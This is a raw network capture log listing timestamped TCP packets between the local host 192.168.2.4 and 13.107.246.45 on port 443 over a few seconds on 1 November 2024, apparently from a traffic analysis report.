Nov 1, 2024 03:46:41.919186115 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.919266939 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.919400930 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.919414997 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.097387075 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.102463961 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.102477074 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.102976084 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.102982044 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.133596897 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.134383917 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.134407043 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.134938955 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.134944916 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.228842974 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.228861094 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.228904963 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.228924036 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.228965998 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.229408026 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.229415894 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.229424953 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.229429007 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.234499931 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.234558105 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.234659910 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.235009909 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.235028028 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.260468960 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.260489941 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.260552883 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.260570049 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.260582924 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.260628939 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.261040926 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.261059046 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.266341925 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.266372919 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.266694069 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.266954899 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.266967058 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.578391075 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.584556103 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.602910995 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.602942944 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.611001968 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.611011028 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.615264893 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.615278006 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.643088102 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.643094063 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.653593063 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.656873941 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.656898022 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.693983078 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.694005966 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.738792896 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.738852024 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.738908052 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.757950068 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.757982969 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.757985115 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.757992983 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.774919033 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.774939060 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.775002003 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.775007010 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.775053024 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.777019978 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.777033091 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.777043104 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.777048111 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.798077106 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.798155069 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.798522949 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.799814939 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.799844980 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.799912930 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.800117016 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.800156116 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.800297022 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.800304890 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.818860054 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.818929911 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.819010973 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.826751947 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.826771975 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.826785088 CET	50009	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.826790094 CET	443	50009	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.857872009 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.857888937 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.857958078 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.858582973 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.858596087 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.973433971 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.974046946 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.974082947 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.974658012 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.974663973 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.995574951 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.996231079 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.996258974 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:42.996798038 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:42.996803045 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.104002953 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.104305029 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.104394913 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.104394913 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.104423046 CET	50010	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.104435921 CET	443	50010	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.107527971 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.107553005 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.107636929 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.107810974 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.107821941 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.125915051 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.125978947 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.126039028 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.126152992 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.126167059 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.126182079 CET	50011	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.126188040 CET	443	50011	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.128521919 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.128551006 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.128619909 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.128788948 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.128799915 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.533747911 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.533945084 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.534493923 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.534507990 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.534697056 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.534734011 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.534987926 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.534993887 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.535223007 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.535240889 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.597198009 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.597778082 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.597804070 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.598408937 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.598422050 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.664983988 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665015936 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665024042 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665050983 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665118933 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665152073 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665160894 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665163994 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665206909 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665275097 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665316105 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665462017 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665462017 CET	50012	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665472984 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665484905 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665492058 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665496111 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.665501118 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.665503979 CET	443	50012	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.668778896 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.668780088 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.668802977 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.668807983 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.668925047 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.669056892 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.669056892 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.669086933 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.669109106 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.669121027 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.842474937 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.843086004 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.843106985 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.843611956 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.843617916 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.846663952 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.846688986 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.846735954 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.846791983 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.846820116 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.846853018 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.846874952 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.847512007 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.847572088 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.847590923 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.847619057 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.847666979 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.847690105 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.847712994 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.847726107 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.850013971 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.850735903 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.850759983 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.851022959 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.851039886 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.851078033 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.851423025 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.851428986 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.851552963 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.851568937 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.982173920 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.982189894 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.982295990 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.982311964 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.982625961 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.982635021 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.982650995 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.982665062 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.982670069 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.982681036 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.982683897 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.985869884 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.985908031 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:43.986013889 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.986181021 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:43.986196995 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.079498053 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.079524994 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.079571962 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.079632044 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.079641104 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.079674959 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.079705954 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.087017059 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.087074041 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.087105036 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.087186098 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.087266922 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.087281942 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.087383986 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.087390900 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.090421915 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.090446949 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.090538979 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.090687037 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.090698957 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.404294014 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.405796051 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.407341957 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.407341957 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.407351017 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.407356977 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.407818079 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.407824039 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.407870054 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.407877922 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.533653975 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.533684969 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.533759117 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.533773899 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.533862114 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.534045935 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.534045935 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.534061909 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.534077883 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.536865950 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.536906958 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.536978960 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.537120104 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.537136078 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.538197994 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.538218975 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.538309097 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.538324118 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.538395882 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.538491964 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.538491964 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.538525105 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.538535118 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.540467978 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.540493011 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.540564060 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.540689945 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.540702105 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.590711117 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.591135025 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.591145039 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.591706991 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.591711998 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.719336033 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.719960928 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.719979048 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.720535994 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.720541954 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.722415924 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.722501040 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.722569942 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.722738028 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.722757101 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.722820044 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.722830057 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.726903915 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.726943016 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.727186918 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.727405071 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.727417946 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.816658020 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.817238092 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.817254066 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.817734003 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.817738056 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.848176956 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.848249912 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.848344088 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.848526001 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.848547935 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.848552942 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.848558903 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.851887941 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.851927996 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.852133989 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.852303028 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.852319002 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.945080042 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.945564985 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.945764065 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.945817947 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.945831060 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.945841074 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.945846081 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.948687077 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.948717117 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:44.948884010 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.949038982 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:44.949049950 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.258579016 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.266927004 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.303066015 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.318907022 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.356466055 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.356473923 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.360311031 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.360316038 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.360593081 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.360601902 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.364517927 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.364521980 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.465389013 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.483954906 CET	443	50023	13.107.246.45	192.168.2.4
